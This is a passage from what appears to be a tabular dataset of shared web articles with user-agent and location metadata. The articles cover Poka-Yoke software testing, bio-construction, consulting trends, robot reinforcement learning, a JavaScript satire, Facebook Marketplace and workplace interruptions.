technique is POKA-YOKE, What is Poka-Yoke? It's a quality assurance process introduced by Japanese engineer Shigeo Shingo. This term is used in Japanese language as ""Poka"" meaning mistake and ""Yoke"" meaning prevent i.e. mistake preventing or mistake proofing technique. The purpose of Poka-Yoke is to develop processes to reduce defects by avoiding or correcting (design to show alerts or warning messages to user) mistakes in early design and development phases. This technique is mostly used in manufacturing industries but now this effective technique is also adapted in software development processes as well. Poka-Yoke example from manufacturing industry A good example of Poka-Yoke design from manufacturing industry - SIM card slot in cell phones is designed in such a way that user is allowed to insert SIM card in correct way only. There is no chance for user to make a mistake while putting SIM card in a cell phone. This makes the design mistake proof. Poka-Yoke example from software application The perfect example of Poka-yoke process in software application is - Gmail email attachments feature - when you type word 'find attached' while composing a new email and try to send it without attaching a file Google will show you a popup reminder saying that you used words ""find attached"" in your email but did not attach any files, do you still want to continue sending? How Poka Yoke Technique Works? Steps to Implement a Poka Yoke Process: Below are few steps to design and implement a process to prevent software defects: List all user scenarios or end-to-end test cases for the application. Analyze all these user scenarios by asking 5-whys questions to understand the ways these scenarios can fail. Once you identify the ways these user scenarios can be wrong, design and apply a Poka Yoke technique to avoid the possible problems (e.g. this design could be a simple unit test to check if any function written is working properly or not). Make sure the technique designed to avoid the defect is working properly by giving errors or warning message for incorrect input or handing of the user scenario. Once the trial is passed add this technique in the list of Poka Yoke processes to be performed each time on new release/build. (In above unit testing example, once the unit test is written to check the function code, check if it is working for positive and negative values. When this test passes add it to 'unit tests' repository to be executed each time any change is made in relevant modules) Measure the success of this Poka Yoke process. Check if this technique has really prevented or caught defects when happening. Categories of Poka-Yoke Defect Prevention Defect Detection Defect prevention is most important activity in SDLC. This method is used to identify all possible issues and actions needed to eliminate those issues. Many software defects can be prevented in design phase itself. Quality assurance team can help to prevent these defects by reviewing the software requirement specification documents . All issues identified in this stage are addressed in software coding phase and prevented from carrying to later stages. The manufacturing and software industry examples provided above are the good examples of defect prevention technique. Defect detection is most common task for quality assurance teams. QA teams use various approaches and strategies for executing test cases effectively. Defects are detected by many other testing methods like smoke and exploratory testing. What are the Qualities of a Good Poka-Yoke Process? Poka-Yoke should be simple to create and maintain. It should be easy to handle and cost-effective. Maintaining a complex Poka-Yoke is time consuming and often results in issues if not maintained properly. Poka-Yoke should be designed early in SDLC so that it can detect issues quickly. A good Poka-Yoke should be accurate enough to find the issues when they occur. A good Poka-Yoke should be designed in such a way that it should stop most common issues occurring in the software. It should be part of software design and coding process. Need of Poka-Yoke in Software Design Phase To develop quality software, it is important to design it according to user's expectations. User should be able to use/handle the software with ease without making any costly mistake. Poka-Yoke examples in design and quality 1) The example of missing attachment file while composing email using Gmail. 2) Some websites show password strength indicator to show password strength. It also guides users to use strong password with combinations of characters and numbers. 3) Google search engine feature to auto-suggest spelling corrections for user search query. This helps uses to avoid making inadvertent mistakes. 4) Banking websites use double text field feature to accept sensitive information like passwords or account numbers. The second text field is usually encrypted to avoid making any mistake while providing the input value and to check if both the text field values match. Need of Poka-Yoke in Software Development From countless industry examples it's now well known that cost of fixing a defect after product release is many times greater than fixing it in development cycle. Best solution to avoid post-release issues is introducing the Poka-Yoke techniques which could catch defects in early development phases making it cheaper to fix. Poka-Yoke process implementation largely depends on tester's ability to capture and eliminate the issues. Poka-Yoke examples in Software Development Unit testing is one of the most effective means of mistake proofing software development. Having validation Poka-Yoke in kit is always a good suggestion for developers. Validation mistakes should be handled in your code. These validation issues should be revisited and updated periodically. A common and most effective Poka-Yoke is to hire right candidates to mistake proof your software. Conclusion: Making mistakes is OK; just don't make the same mistake again and again . And to avoid making same mistakes again there should be some checks or processes in place. The Poka-Yoke techniques are developed to solve this problem. Article References: Shigeo Shingo, Zero Quality Control Wikipedia reference Boris Beizer, Software Testing Techniques, 2nd ed. Van Nostrand Reinhold About Author: This is a guest post by Do you have any experience working on this technique? Or have you ever worked on developing such defect prevention and detection processes? Let us know in the comments below. Nataraj Kanchyani. He is working as a Senior Software Engineer-Testing at Centurylink Technologies India Pvt Ltd, Bangalore. *****",en
1475582081,CONTENT SHARED,790210667253898984,3734911646343191965,3731358772926463227,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.archdaily.com.br/br/793649/ministerio-do-meio-ambiente-disponibiliza-cartilha-sobre-tecnicas-de-bioconstrucao,Cartilha sobre técnicas de bioconstrução,"A bioconstrução se baseia no princípio de que é possível construir tendo um impacto ambiental muito baixo. Para promover este conceito e apresentar técnicas práticas, o Ministério do Meio Ambiente disponibiliza gratuitamente uma cartilha on-line para capacitação e informação acerca do tema e suas devidas metodologias. Apesar de ter sido criado para um curso do Programa de Apoio ao Ecoturismo e à Sustentabilidade Ambiental do Turismo - Proecotur, o material é extremamente útil para quem deseja entender melhor a bioconstrução e conhecer detalhes de diferentes técnicas sustentáveis e ambientalmente corretas de construção. Um dos intuitos desta cartilha é oferecer opções para que as comunidades tenham autonomia e sejam capazes de, através de técnicas tradicionais, garantirem suas necessidades sem a dependência de outros grupos. Neste sentido, o primeiro passo é pensar além do comum, é enxergar todos os materiais, sejam eles naturais ou residuais como matéria-prima em potencial. Utilizar materiais locais, como terra, pedra, palha e madeira é outro ponto de destaque na cartilha. Com esta mudança de paradigmas, o programa passa para a segunda etapa, a observação das condições climáticas, para que os elementos naturais, como o sol e o vento, sejam usados como aliados na obra. A apresentação de diferentes técnicas tradicionais e eficientes para a construção forma o terceiro bloco de instruções. Superadobe, adobe, COB, taipa de mão, taipa de pilão, são apenas algumas das metodologias apresentadas com detalhes e exemplos práticos. Os cuidados necessários com o abastecimento e saneamento também estão detalhados no material. O livreto é indicado para qualquer pessoa que queira aprofundar seus conhecimentos acerca da bioconstrução e também para quem deseja iniciar uma obra sustentável e não sabe por onde começar. Além de ter menos impactos ambientais, este tipo de construção custa muito menos do que as tradicionais. Clique aqui para fazer o download da cartilha.",pt
1475586432,CONTENT SHARED,1536798472239364319,-7148295538010878187,-3358016143986908673,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",RI,US,HTML,https://www.forrester.com/report/Future+Of+Consulting+Consultancies+Adapt+To+Digital+Change/-/E-RES123367,Future Of Consulting: Consultancies Adapt To Digital Change,"The age of the customer and digital technology are changing the consulting industry. Our previous report, ""The Future Of Consulting Through 2020,"" described what consulting firms will look like in 2020. This report uses our interviews with over 40 consultancies to describe the steps they are taking to reach that end state.",en
1475587483,CONTENT SHARED,-5881946480525580860,-1443636648652872475,1595486972170294994,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36",SP,BR,HTML,https://research.googleblog.com/2016/10/how-robots-can-acquire-new-skills-from.html,How Robots Can Acquire New Skills from Their Shared Experience,"The ability to learn from experience will likely be a key in enabling robots to help with complex real-world tasks, from assisting the elderly with chores and daily activities, to helping us in offices and hospitals, to performing jobs that are too dangerous or unpleasant for people. However, if each robot must learn its full repertoire of skills for these tasks only from its own experience, it could take far too long to acquire a rich enough range of behaviors to be useful. Could we bridge this gap by making it possible for robots to collectively learn from each other's experiences? While machine learning algorithms have made great strides in natural language understanding and speech recognition , the kind of symbolic high-level reasoning that allows people to communicate complex concepts in words remains out of reach for machines. However, robots can instantaneously transmit their experience to other robots over the network - sometimes known as "" cloud robotics "" - and it is this ability that can let them learn from each other. This is true even for seemingly simple low-level skills. Humans and animals excel at adaptive motor control that integrates their senses, reflexes, and muscles in a closely coordinated feedback loop. Robots still struggle with these basic skills in the real world, where the variability and complexity of the environment demands well-honed behaviors that are not easily fooled by distractors. If we enable robots to transmit their experiences to each other, could they learn to perform motion skills in close coordination with sensing in realistic environments? We previously wrote about how multiple robots could pool their experiences to learn a grasping task. Here, we will discuss new experiments that we conducted to investigate three possible approaches for general-purpose skill learning across multiple robots: learning motion skills directly from experience, learning internal models of physics, and learning skills with human assistance. In all three cases, multiple robots shared their experiences to build a common model of the skill. The skills learned by the robots are still relatively simple -- pushing objects and opening doors -- but by learning such skills more quickly and efficiently through collective learning, robots might in the future acquire richer behavioral repertoires that could eventually make it possible for them to assist us in our daily lives. Learning from raw experience with model-free reinforcement learning. Perhaps one of the simplest ways for robots to teach each other is to pool information about their successes and failures in the world. Humans and animals acquire many skills by direct trial-and-error learning. During this kind of 'model-free' learning -- so called because there is no explicit model of the environment formed -- they explore variations on their existing behavior and then reinforce and exploit the variations that give bigger rewards. In combination with deep neural networks, model-free algorithms have recently proved to be surprisingly effective and have been key to successes with the Atari video game system and playing Go . Having multiple robots allows us to experiment with sharing experiences to speed up this kind of direct learning in the real world. In these experiments we tasked robots with trying to move their arms to goal locations, or reaching to and opening a door. Each robot has a copy of a neural network that allows it to estimate the value of taking a given action in a given state. By querying this network, the robot can quickly decide what actions might be worth taking in the world. When a robot acts, we add noise to the actions it selects, so the resulting behavior is sometimes a bit better than previously observed, and sometimes a bit worse. This allows each robot to explore different ways of approaching a task. Records of the actions taken by the robots, their behaviors, and the final outcomes are sent back to a central server. The server collects the experiences from all of the robots and uses them to iteratively improve the neural network that estimates value for different states and actions. The model-free algorithms we employed look across both good and bad experiences and distill these into a new network that is better at understanding how action and success are related. Then, at regular intervals, each robot takes a copy of the updated network from the server and begins to act using the information in its new network. Given that this updated network is a bit better at estimating the true value of actions in the world, the robots will produce better behavior. This cycle can then be repeated to continue improving on the task. In the video below, a robot explores the door opening task. With a few hours of practice, robots sharing their raw experience learn to make reaches to targets, and to open a door by making contact with the handle and pulling. In the case of door opening, the robots learn to deal with the complex physics of the contacts between the hook and the door handle without building an explicit model of the world, as can be seen in the example below: Learning how the world works by interacting with objects. Direct trial-and-error reinforcement learning is a great way to learn individual skills. However, humans and animals don't learn exclusively by trial and error. We also build mental models about our environment and imagine how the world might change in response to our actions. We can start with the simplest of physical interactions, and have our robots learn the basics of cause and effect from reflecting on their own experiences. In this experiment, we had the robots play with a wide variety of common household objects by randomly prodding and pushing them inside a tabletop bin. The robots again shared their experiences with each other and together built a single predictive model that attempted to forecast what the world might look like in response to their actions. This predictive model can make simple, if slightly blurry, forecasts about future camera images when provided with the current image and a possible sequence of actions that the robot might execute: Once this model is trained, the robots can use it to perform purposeful manipulations, for example based on user commands. In our prototype, a user can command the robot to move a particular object simply by clicking on that object, and then clicking on the point where the object should go: The robots in this experiment were not told anything about objects or physics: they only see that the command requires a particular pixel to be moved to a particular place. However, because they have seen so many object interactions in their shared past experiences, they can forecast how particular actions will affect particular pixels. In order for such an implicit understanding of physics to emerge, the robots must be provided with a sufficient breadth of experience. This requires either a lot of time, or sharing the combined experiences of many robots. An extended video on this project may be found here . Learning with the help of humans. So far, we discussed how robots can learn entirely on their own. However, human guidance is important, not just for telling the robot what to do, but also for helping the robots along. We have a lot of intuition about how various manipulation skills can be performed, and it only seems natural that transferring this intuition to robots can help them learn these skills a lot faster. In the next experiment, we provided each robot with a different door, and guided each of them by hand to show how these doors can be opened. These demonstrations are encoded into a single combined strategy for all robots, called a policy. The policy is a deep neural network which converts camera images to robot actions, and is maintained on a central server. The following video shows the instructor demonstrating the door-opening skill to a robot: Next, the robots collectively improve this policy through a trial-and-error learning process. Each robot attempts to open its own door using the latest available policy, with some added noise for exploration. These attempts allow each robot to plan a better strategy for opening the door the next time around, and improve the policy accordingly: Not surprisingly, we find that robots learn more effectively if they are trained on a curriculum of tasks that are gradually increasing in difficulty. In our experiment, each robot starts off by practicing the door-opening skill on a specific position and orientation of the door that the instructor had previously shown it. As it gets better at performing the task, the instructor starts to alter the position and orientation of the door to be just a bit beyond the current capabilities of the policy, but not so difficult that it fails entirely. This allows the robots to gradually increase their skill level over time, and expands the range of situations they can handle. The combination of human-guidance with trial-and-error learning allowed the robots to collectively learn the skill of door-opening in just a couple of hours. Since the robots were trained on doors that look different from each other, the final policy succeeds on a door with a handle that none of the robots had seen before: In all three of the experiments described above, the ability to communicate and exchange their experiences allows the robots to learn more quickly and effectively. This becomes particularly important when we combine robotic learning with deep learning, as is the case in all of the experiments discussed above. We've seen before that deep learning works best when provided with ample training data. For example, the popular ImageNet benchmark uses over 1.5 million labeled examples. While such a quantity of data is not impossible for a single robot to gather over a few years, it is much more efficient to gather the same volume of experience from multiple robots over the course of a few weeks. Besides faster learning times, this approach might benefit from the greater diversity of experience: a real-world deployment might involve multiple robots in different places and different settings, sharing heterogeneous, varied experiences to build a single highly generalizable representation. Of course, the kinds of behaviors that robots today can learn are still quite limited. Even basic motion skills, such as picking up objects and opening doors, remain in the realm of cutting edge research. In all of these experiments, a human engineer is still needed to tell the robots what they should learn to do by specifying a detailed objective function. However, as algorithms improve and robots are deployed more widely, their ability to share and pool their experiences could be instrumental for enabling them to assist us in our daily lives. The experiments on learning by trial-and-error were conducted by Shixiang (Shane) Gu and Ethan Holly from the Google Brain team, and Timothy Lillicrap from DeepMind. Work on learning predictive models was conducted by Chelsea Finn from the Google Brain team, and the research on learning from demonstration was conducted by Yevgen Chebotar, Ali Yahya, Adrian Li, and Mrinal Kalakrishnan from X. We would also like to acknowledge contributions by Peter Pastor, Gabriel Dulac-Arnold, and Jon Scholz. Articles about each of the experiments discussed in this blog post can be found below: Deep Reinforcement Learning for Robotic Manipulation . Shixiang Gu, Ethan Holly, Timothy Lillicrap, Sergey Levine. [ video ] Deep Visual Foresight for Planning Robot Motion . Chelsea Finn, Sergey Levine. [ video ] [ data ] Collective Robot Reinforcement Learning with Distributed Asynchronous Guided Policy Search . Ali Yahya, Adrian Li, Mrinal Kalakrishnan, Yevgen Chebotar, Sergey Levine. [ video ] Path Integral Guided Policy Search . Yevgen Chebotar, Mrinal Kalakrishnan, Ali Yahya, Adrian Li, Stefan Schaal, Sergey Levine. [ video ]",en
1475591188,CONTENT SHARED,1737303669706106633,3609194402293569455,7923617554609111441,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://trendwatching.com/trends/autonomania/,New Trend Briefing from TrendWatching | AUTONOMANIA!,"1. AUTONOMY > MONOTONY Consumers will embrace the brands that free them up from tedious tasks and allow them to focus on what matters. 2. AI DESIGNED Creativity, humankind's proudest trait, is being automated. 3. MOTIVATED MINDLESSNESS When bots handle consumers' self-improvement, mindlessness will be the new mindfulness. Enjoy this sneak peek of our full 2017 Trend Report - released October 25! 4. CLEVER COMMERCE Retailers beware; shoppers will outsource their smarts! 5. SOC-AI-L SKILLS Today, making connections is easy. Social skills, however, take work... or do they?",en
1475597263,CONTENT SHARED,-5920475612630001479,2754566407772265068,8294541181816066509,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f?gi=9a4d3c4ae4de,How it feels to learn Javascript in 2016,"Edit: Thanks for pointing typos and mistakes, I'll update the article as noted. Discussion in The following is inspired by the article ""It's the future"" from Circle CI. You can read the original . This piece is just an opinion, and like any JavaScript framework, it shouldn't be taken too seriously. No JavaScript frameworks were created during the writing of this article. -The actual term is Front End engineer, but yeah, I'm the right guy. I do web in 2016. Visualisations, music players, flying drones that play football, you name it. I just came back from JsConf and ReactConf, so I know the latest technologies to create web apps. HackerNews -Oh my god no, no one uses jQuery anymore. You should try learning React, it's 2016. and -It's a super cool library made by some guys at Facebook, it really brings control and performance to your application, by allowing you to handle any view changes very easily. . -Yeah, but first you need to add React and React DOM as a library in your webpage. Hey, I got this new web project, but to be honest I haven't coded much web in a few years and I've heard the landscape changed a bit. You are the most up-to date web dev around here right? -So one is the actual library and the second one is for manipulating the DOM, which now you can describe in JSX. Cool. I need to create a page that displays the latest activity from the users, so I just need to get the data from the REST endpoint and display it in some sort of filterable table, and update it if anything changes in the server. I was thinking maybe using jQuery to fetch and display the data? -JSX is just a JavaScript syntax extension that looks pretty much like XML. It's kind of another way to describe the DOM, think of it as a better HTML. Oh, OK. What's React? -It's 2016. No one codes HTML directly anymore. That sounds neat. Can I use React to display data from the server? -Not quite. You need to add Babel, and then you are able to use React. Wait, why two libraries? -Oh, Babel is a transpiler that allows you to target specific versions of JavaScript, while you code in any version of JavaScript. You don't HAVE to include Babel to use ReactJS, but unless you do, you are stuck with using ES5, and let's be real, it's 2016, you should be coding in ES2016 like the rest of the cool kids do. JSX? What is JSX? -ES5 stands for ECMAScript 5. It's the edition that has most people target since it has been implemented by most browsers nowadays. What's wrong with HTML? -Yes, you know, the scripting standard JavaScript was based on in 1999 after its initial release in 1995, back then when JavaScript was named Livescript and only ran in the Netscape Navigator. That was very messy back then, but thankfully now things are very clear and we have, like, 7 editions of this implementation. Right. Anyway, if I add these two libraries then I can use React? -The fifth and seventh edition respectively. Another library? What's Babel? -You mean ES6? Yeah, I mean, each edition is a superset of the previous one, so if you are using ES2016, you are using all the features of the previous versions. ES5? ES2016? I'm getting lost over here. What's ES5 and ES2016? -Well, you COULD use ES6, but to use cool features like async and await, you need to use ES2016. Otherwise you are stuck with ES6 generators with coroutines to block asynchronous calls for proper control flow. ECMAScript? -It's 2016 man, no one uses jQuery anymore, it ends up in a bunch of spaghetti code. Everyone knows that. 7 editions. For real. And ES5 and ES2016 are? -Well, you include those three libraries but bundle them up with a module manager to load only one file. Wait, what happened with the sixth? -The definition depends on the environment, but in the web we usually mean anything that supports AMD or CommonJS modules. Right. And why use ES2016 over ES6 then? -Definitions. There are ways to describe how multiple JavaScript libraries and classes should interact. You know, exports and requires? You can write multiple JavaScript files defining the AMD or CommonJS API and you can use something like Browserify to bundle them up. I have no idea what you just said, and all these names are confusing. Look, I'm just loading a bunch of data from a server, I used to be able to just include jQuery from a CDN and just get the data with AJAX calls, why can't I just do that? -It's a tool that allows you to bundle CommonJS described dependencies to files that can be run in the browser. It was created because most people publish those dependencies in the npm registry. Right. So my alternative is to load three libraries to fetch data and display a HTML table. -It's a very big public repository where smart people put code and dependencies as modules. I see. And what's a module manager? -Not really. It's more like a centralised database where anyone can publish and download libraries, so you can use them locally for development and then upload them to a CDN if you want to. Riiight. And AMD and CommonJS are...? -Yes, but it's 2016 now, no one uses Bower anymore. OK, that makes sense... I think. What is Browserify? -Yes. So for instance, if you want to use React , you download the React module and import it in your code. You can do that for almost every popular JavaScript library. npm registry? -Angular is so 2015. But yes. Angular would be there, alongside VueJS or RxJS and other cool 2016 libraries. Want to learn about those? Like a CDN? Oh, like Bower! -It is, that's why you use a task manager like Grunt or Gulp or Broccoli to automate running Browserify. Heck, you can even use Mimosa. Oh, I see... so I need to download the libraries from npm then? -Task managers. But they are not cool anymore. We used them in like, 2015, then we used Makefiles, but now we wrap everything with Webpack. Oh, like Angular! -Yeah, but apparently in the web we love making things complicated and then going back to the basics. We do that every year or so, just wait for it, we are going to do assembly in the web in a year or two. Let's stick with React, I'm already learning too many things now. So, if I need to use React I fetch it from this npm and then use this Browserify thing? -It's another module manager for the browser while being kind of a task runner as well. It's like a better version of Browserify. That seems overly complicated to just grab a bunch of dependencies and tie them together. -Well, maybe not better, it's just more opinionated on how your dependencies should be tied. Webpack allows you to use target different module managers, and not only CommonJS ones, so for instance native ES6 supported modules. Grunt? Gulp? Broccoli? Mimosa? The heck are we talking about now? -Everyone is, but you shouldn't care anymore with SystemJS. Makefiles? I thought that was mostly used on C or C++ projects. -Well, unlike Browserify and Webpack 1.x, System is dynamic module loader that allows you to tie multiple modules in multiple files instead of bundling them in one big file. Sigh. You mentioned something called Webpack? -Yes, but because HTTP/2 is coming now multiple HTTP requests are actually better. Oh, Ok. Why is it better? -Not really. I mean, you could add them as external scripts from a CDN, but you would still need to include Babel then. I'm extremely confused by this whole CommonJS/ES6 thing. Jesus christ, another noun-js. Ok, and what is this SystemJS? Wait, but I thought we wanted to build our libraries in one big file and load that! -I would transpile it from Typescript using a Webpack + SystemJS + Babel combo. Wait, so can't we just add the three original libraries for React?? -Typescript IS JavaScript, or better put, a superset of JavaScript, more specifically JavaScript on version ES6. You know, that sixth version we talked about before? Sigh. And that is bad right? -Oh, because it allows us to use JavaScript as a typed language, and reduce run-time errors. It's 2016, you should be adding some types to your JavaScript code. -Yes, you would be including the entire babel-core, and it wouldn't be efficient for production. On production you need to perform a series of pre-tasks to get your project ready that make the ritual to summon Satan look like a boiled eggs recipe. You need to minify assets, uglify them, inline css above the fold, defer scripts, as well as- -Flow as well, although it only checks for typing while Typescript is a superset of JavaScript which needs to be compiled. I got it, I got it. So if you wouldn't include the libraries directly in a CDN, how would you do it? -It's a static type checker made by some guys at Facebook. They coded it in OCaml, because functional programming is awesome. Typescript? I thought we were coding in JavaScript! -It's what the cool kids use nowadays man, you know, 2016? Functional programming? High order functions? Currying? Pure functions? I thought ES2016 was already a superset of ES6! WHY we need now this thing called Typescript? -No one does at the beginning. Look, you just need to know that functional programming is better than OOP and that's what we should be using in 2016. And Typescript obviously does that. -So was Java before being bought by Oracle. I mean, OOP was good back in the days, and it still has its uses today, but now everyone is realising modifying states is equivalent to kicking babies, so now everyone is moving to immutable objects and functional programming. Haskell guys had been calling it for years, -and don't get me started with the Elm guys- but luckily in the web now we have libraries like Ramda that allow us to use functional programming in plain JavaScript. Sigh... and Flow is? -No. Ramda. Like Lambda. You know, that David Chambers' library? OCaml? Functional programming? -David Chambers. Cool guy. Plays a mean Coup game. One of the contributors for Ramda. You should also check Erik Meijer if you are serious about learning functional programming. I have no idea what you just said. -Functional programming guy as well. Awesome guy. He has a bunch of presentations where he trashes Agile while using this weird coloured shirt. You should also check some of the stuff from Tj, Jash Kenas, Sindre Sorhus, Paul Irish, Addy Osmani- Wait, I learned OOP in college, I thought that was good? -Well, you actually don't fetch the data with React, you just display the data with React. Are you just dropping names for the sake of it? What the hell is Ramnda? -You use Fetch to fetch the data from the server. David who? -I know right? Fetch it's the name of the native implementation for performing XMLHttpRequests against a server. And Erik Meijer is...? -AJAX is just the use of XMLHttpRequests. But sure. Fetch allows you to do AJAX based in promises, which then you can resolve to avoid the callback hell. Ok. I'm going to stop you there. All that is good and fine, but I think all that is just so complicated and unnecessary for just fetching data and displaying it. I'm pretty sure I don't need to know these people or learn all those things to create a table with dynamic data. Let's get back to React. How can I fetch the data from the server with React? -Yeah. Every time you perform an asynchronous request against the server, you need to wait for its response, which then makes you to add a function within a function, which is called the callback pyramid from hell. Oh, damn me. So what do you use to fetch the data? -Indeed. By manipulating your callbacks through promises, you can write easier to understand code, mock and test them, as well as perform simultaneous requests at once and wait until all of them are loaded. I'm sorry? You use Fetch to fetch the data? Whoever is naming those things needs a thesaurus. -Yes, but only if your user uses an evergreen browser, otherwise you need to include a Fetch polyfill or use Request, Bluebird or Axios. Oh, so AJAX. -It's JavaScript. There has to be thousands of libraries that all do the same thing. We know libraries, in fact, we have the best libraries. Our libraries are huuuge, and sometimes we include pictures of Guy Fieri in them. Callback hell? -They are libraries to perform XMLHttpRequests that return promises. Oh, Ok. And this promise thing solves it? -We don't use the ""J"" word in 2016 anymore. Just use Fetch, and polyfill it when it's not in a browser or use Bluebird, Request or Axios instead. Then manage the promise with await within an async function and boom, you have proper control flow. And that can be done with Fetch? -Await allows you to block an asynchronous call, allowing you to have better control on when the data is being fetch and overall increasing code readability. It's awesome, you just need to make sure you add the stage-3 preset in Babel, or use syntax-async-functions and transform-async-to-generator plugin. How many libraries do I need to know for god's sake? How many are of them? -No, insane is the fact you need to precompile Typescript code and then transpile it with Babel to use await. Did you just say Guy Fieri? Let's get this over with. What these Bluebird, Request, Axios libraries do? -It does in the next version, but as of version 1.7 it only targets ES6, so if you want to use await in the browser, first you need to compile your Typescript code targeting ES6 and then Babel that shit up to target ES5. Didn't jQuery's AJAX method started to return promises as well? -Look, it's easy. Code everything in Typescript. All modules that use Fetch compile them to target ES6, transpile them with Babel on a stage-3 preset, and load them with SystemJS. If you don't have Fetch, polyfill it, or use Bluebird, Request or Axios, and handle all your promises with await. It's the third time you mention await but I have no idea what it is. -Is your application going to handle any state changes? This is insane. -Oh, thank god. Otherwise I would had to explain you Flux, and implementations like Flummox, Alt, Fluxible. Although to be honest you should be using Redux. Wat? It's not included in Typescript? -Oh, if you are just displaying the data you didn't need React to begin with. You would had been fine with a templating engine. At this point I don't know what to say. -I was just explaining what you could use. We have very different definitions of easy. So, with that ritual I finally fetched the data and now I can display it with React right? -I mean, even if it's just using templating engine, I would still use a Typescript + SystemJS + Babel combo if I were you. Err, I don't think so. I just need to display the data. -There's a lot, which one you are familiar with? I'm going to just fly over those names. Again, I just need to display data. -jTemplates? jQote? PURE? Are you kidding me? Do you think this is funny? Is that how you treat your loved ones? -Transparency? JSRender? MarkupJS? KnockoutJS? That one had two-way binding. Stop. Just stop. -PlatesJS? jQuery-tmpl? Handlebars? Some people still use it. I need to display data on a page, not perform Sub Zero's original MK fatality. Just tell me what templating engine to use and I'll take it from there. -Mustache, underscore? I think now even lodash has one to be honest, but those are kind of 2014. Ugh, can't remember the name. It was a long time ago. -Jade? DustJS? Err, doesn't ring a bell. Another one? Another one? -Nunjucks? ECT? Maybe. Are there similar to that last one? -Mah, no one likes Coffeescript syntax anyway. Jade? Err.. maybe it was newer. -I meant Pug. I meant Jade. I mean, Jade is now Pug. No. -Probably just ES6 native template strings. No. No. No, you already said Jade. Sigh. No. Can't remember. Which one would you use? Let me guess. And that requires ES6. Which, depending on what browser I'm using needs Babel. Which, if I want to include without adding the entire core library, I need to load it as a module from npm. Which, requires Browserify, or Wepback, or most likely that other thing called SystemJS. -Just don't forget to polyfill Fetch if it's not supported, Safari still can't handle it. Which, unless it's Webpack, ideally should be managed by a task runner. -That's fine, in a few years we all are going to be coding in Elm or WebAssembly. But, since I should be using functional programming and typed languages I first need to pre-compile Typescript or add this Flow thingy. -I hear you. You should try the Python community then. And then send that to Babel if I want to use await. -Ever heard of Python 3? So I can then use Fetch, promises, and control flow and all that magic. You know what. I think we are done here. Actually, I think I'm done. I'm done with the web, I'm done with JavaScript altogether. I'm just going to move back to the backend. I just can't handle these many changes and versions and editions and compilers and transpilers. The JavaScript community is insane if it thinks anyone can keep up with this. Why?",en
1475603424,CONTENT SHARED,-615862350872519037,-1352064057049251194,133180509529558912,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://revistapegn.globo.com/Empreendedorismo/noticia/2016/10/facebook-cria-e-commerce-para-concorrer-com-ebay.html,Facebook cria e-commerce para concorrer com eBay,"Facebook cria ferramenta de e-commerce próprio em quatro países (Foto: Reprodução/Endeavor) Ao entrar na página do Facebook, é frequente encontrar pessoas tentando vender produtos. Pode ser um amigo vendendo um celular velho ou grupos de pais tentando trocar objetos para seus filhos. A empresa notou essa tendência e chegou a lançar ferramentas que auxiliam as vendas entre os usuários, como as barras com espaço de preenchimento para preços, local de venda e descrição da peça, utilizadas em grupos de brechós, por exemplo. O Facebook resolveu inovar mais uma vez. A empresa criou um e-commerce, que auxilia os usuários a encontrarem novos produtos e a vender os próprios. Nos próximos dias, os usuários dos Estados Unidos, Reino Unido, Austrália e Nova Zelândia, com mais de 18 anos, terão acesso ao ícone de compras na sua tela principal. É possível realizar buscas filtradas por lugar, tipo de objeto e preço. Além disso, ao selecionar um produto, o usuário poderá conferir a descrição do objeto e o perfil do vendedor. Contudo, o Facebook não fará a intermediação de pagamento nem de entrega. Esta parte deverá ser combinada entre o comprador e o vendedor. Com mais de 1,5 bilhão de usuários, marketplaces consagrados como eBay e Craiglist deverão ficar atentos ao desenvolvimento dessa nova ferramenta. Apesar de começar em quatro países, o serviço deverá ser expandido para os demais lugares nos próximos meses, tanto pelo aplicativo para iOS e Android quanto via web.",pt
1475614359,CONTENT SHARED,-4996336942690402156,-709287718034731589,-6980904286083816062,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.11 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.11",SP,BR,HTML,https://medium.freecodecamp.com/live-asynchronously-c8e7172fe7ea?gi=5c95ee418f3e,Live asynchronously.,"We'll start by talking about how interruptions - even scheduled ones - can destroy your productivity. But first, a web comic: Did you see what happened? The boss came by and totally wrecked the developer's train of thought. And for what? To notify him that the next time he checked his email, a message would be there for him? When you interrupt a developer, it takes an average of 10 minutes before they can get back to productively coding. So why do 70% of offices these days look like this? Most studies conclude the same thing that this widely-cited paper does: people hate open plan offices . Employers have chosen to sacrifice job satisfaction and productivity, all so they can pack a few extra sardines into $72-per-square-foot San Francisco office spaces. They do this under the guise of lowering barriers to communication. But if you think about it, they should be raising them instead. Because here's what happens when you need to get some real work done in an open plan office: Reaching that flow state Let's talk a bit about how us humans get work done. Is it four hours of crushing it, a lunch break, then four more hours of crushing it? No. It's more like coffee, email, coffee, meeting, coffee, lunch with coworkers, coffee - OK finally time to get some work done! Did you know the average developer only get two hours of uninterrupted work done a day? They spend the other 6 hours in varying states of distraction. But here's what happens during the two hours they have to themselves. They warm up. They check logs, issues, and wrap their heads around what needs to be done. They dive into the code. Their pupils dilate. They enter what psychologist Mihaly Csikszentmihalyi calls a ""flow state."" If you've ever been ""in the groove"" or ""in the zone,"" that's what this is. A happy state of energized focus. Flow. If your job requires even an ounce of creativity, you'll do your best work in one of these flow states. And yes, you can reach a flow state in an open plan office, with noise cancelling headphones cranked up to 11. But it's a lot easier when you're in a quiet, comfortable room by yourself. So Mihaly figures out that task switching utterly devastates your productivity. Something as mundane as getting a text message about dinner will completely wipe out all those things you're juggling in your working memory. It will knock you out of your flow state. Most of Mihaly's fellow researchers agree . There's a serious cost to switching between tasks. Mihaly spends the next 30 